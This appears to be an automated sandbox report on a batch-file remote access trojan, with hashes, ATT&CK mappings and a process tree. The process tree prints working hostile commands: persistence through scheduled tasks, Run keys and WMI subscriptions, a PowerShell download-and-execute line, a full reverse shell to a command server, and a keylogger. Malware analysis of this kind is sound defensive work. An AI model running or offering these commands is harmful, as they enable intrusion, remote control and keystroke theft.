55f4b7b51daf69980781ad817b0f602c30876a63600e394f48414d615f9d9432

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:34

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General

Target
rat_build_256664_014659.bat
Size 4KB
Sample260529-by4pgagw21
SHA256 55f4b7b51daf69980781ad817b0f602c30876a63600e394f48414d615f9d9432
MD5 1a04955f6cfdfb3e6e4b3d4f7115ea8e
SHA1 f6c20a911ac0c73338aec076e1b871dcf0467783
SHA512 6077f12479f0e6c7309b10d49abe58a05fe69f4eca72bb19d5fb093d6bc765223bd52a6202184aba8cb3db369a56a2a8f2258b702ee0c578bb5c7c7bd6e6b807
SSDEEP 96:5IeOWXOTaUAv65V0f3VPV9j6lnqtXmU28uxow2i7Zg6svn5ziFgZk8mvlo1TUC:5LXOTQv65q9XKqtX4ZA5ziFgkHleUC
TLSH
T1EDA10623A79B6110C9F06618E8733844575CDAF72309CAADFF48DCC01A0CEC3956A6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_256664.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1608	powershell.exe
4996	powershell.exe
4944	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_256664 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_256664.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1744	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3600	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1164	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6080	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
1608	powershell.exe
1608	powershell.exe
4944	powershell.exe
4944	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5692	WMIC.exe
Token: SeSecurityPrivilege	5692	WMIC.exe
Token: SeTakeOwnershipPrivilege	5692	WMIC.exe
Token: SeLoadDriverPrivilege	5692	WMIC.exe
Token: SeSystemProfilePrivilege	5692	WMIC.exe
Token: SeSystemtimePrivilege	5692	WMIC.exe
Token: SeProfSingleProcessPrivilege	5692	WMIC.exe
Token: SeIncBasePriorityPrivilege	5692	WMIC.exe
Token: SeCreatePagefilePrivilege	5692	WMIC.exe
Token: SeBackupPrivilege	5692	WMIC.exe
Token: SeRestorePrivilege	5692	WMIC.exe
Token: SeShutdownPrivilege	5692	WMIC.exe
Token: SeDebugPrivilege	5692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5692	WMIC.exe
Token: SeRemoteShutdownPrivilege	5692	WMIC.exe
Token: SeUndockPrivilege	5692	WMIC.exe
Token: SeManageVolumePrivilege	5692	WMIC.exe
Token: 33	5692	WMIC.exe
Token: 34	5692	WMIC.exe
Token: 35	5692	WMIC.exe
Token: 36	5692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5692	WMIC.exe
Token: SeSecurityPrivilege	5692	WMIC.exe
Token: SeTakeOwnershipPrivilege	5692	WMIC.exe
Token: SeLoadDriverPrivilege	5692	WMIC.exe
Token: SeSystemProfilePrivilege	5692	WMIC.exe
Token: SeSystemtimePrivilege	5692	WMIC.exe
Token: SeProfSingleProcessPrivilege	5692	WMIC.exe
Token: SeIncBasePriorityPrivilege	5692	WMIC.exe
Token: SeCreatePagefilePrivilege	5692	WMIC.exe
Token: SeBackupPrivilege	5692	WMIC.exe
Token: SeRestorePrivilege	5692	WMIC.exe
Token: SeShutdownPrivilege	5692	WMIC.exe
Token: SeDebugPrivilege	5692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5692	WMIC.exe
Token: SeRemoteShutdownPrivilege	5692	WMIC.exe
Token: SeUndockPrivilege	5692	WMIC.exe
Token: SeManageVolumePrivilege	5692	WMIC.exe
Token: 33	5692	WMIC.exe
Token: 34	5692	WMIC.exe
Token: 35	5692	WMIC.exe
Token: 36	5692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5908	WMIC.exe
Token: SeSecurityPrivilege	5908	WMIC.exe
Token: SeTakeOwnershipPrivilege	5908	WMIC.exe
Token: SeLoadDriverPrivilege	5908	WMIC.exe
Token: SeSystemProfilePrivilege	5908	WMIC.exe
Token: SeSystemtimePrivilege	5908	WMIC.exe
Token: SeProfSingleProcessPrivilege	5908	WMIC.exe
Token: SeIncBasePriorityPrivilege	5908	WMIC.exe
Token: SeCreatePagefilePrivilege	5908	WMIC.exe
Token: SeBackupPrivilege	5908	WMIC.exe
Token: SeRestorePrivilege	5908	WMIC.exe
Token: SeShutdownPrivilege	5908	WMIC.exe
Token: SeDebugPrivilege	5908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5908	WMIC.exe
Token: SeRemoteShutdownPrivilege	5908	WMIC.exe
Token: SeUndockPrivilege	5908	WMIC.exe
Token: SeManageVolumePrivilege	5908	WMIC.exe
Token: 33	5908	WMIC.exe
Token: 34	5908	WMIC.exe
Token: 35	5908	WMIC.exe
Token: 36	5908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5908	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2632 wrote to memory of 6080	2632	cmd.exe	88
PID 2632 wrote to memory of 1164	2632	cmd.exe	89
PID 2632 wrote to memory of 5692	2632	cmd.exe	90
PID 2632 wrote to memory of 5908	2632	cmd.exe	91
PID 2632 wrote to memory of 4324	2632	cmd.exe	92
PID 2632 wrote to memory of 3600	2632	cmd.exe	111
PID 2632 wrote to memory of 1744	2632	cmd.exe	115
PID 2632 wrote to memory of 4996	2632	cmd.exe	116
PID 2632 wrote to memory of 1608	2632	cmd.exe	118
PID 2632 wrote to memory of 4944	2632	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_256664_014659.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_256664" /tr "C:\Users\Admin\AppData\Local\Temp\_256664.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6080
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_256664" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_256664.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1164
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_256664", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_256664", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_256664.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5908
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_256664.txt
  2⤵
  PID:4324
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3600
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_256664.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 383e2fb9976eaed3200af5ed50a47ee1d0b902d59de18296ef6677a1358be351
MD5 498057a1a851d43d64bcee87b953efff
SHA1 972b26714c446466840108191d3c6f354363bf83
SHA512 141d64f095fb698e614fc01b07c308cd4a3bed4a4beb4b92eed77bbde1da12b548bc022615fd06b1f262f22b7dcfe0ddb92a6095483d8930553850294033dd2b
TLSH
T193115327B39C8921CC96153A509DAC1172B683DB81AEDE9FAFC4D214A07F984CB612A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 58f12a40e1e5ad2d8af8b4a09e8f14adf32874c91fd1d1acd38c139c2033ba27
MD5 6281e954c19a5b0024b610d913fdf903
SHA1 66ba6876a5f3123c9d6e6080de5aab3680196cbd
SHA512 8f26b2905543331fc787e28a4dd105c74addce1ca7451abe15b507c3633a183bcc995227e52c345b6ef794ad8421773274321bde49b753bd85ebaae88c9a2707
TLSH
T16E115727B39C89A1CC96153A409D9C1172B683DB409EDEDF6BC0D214A17F584CB611A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kxyjiuzc.sq4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxyjiuzc.sq4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4996-3-0x00000283A1720000-0x00000283A1742000-memory.dmp

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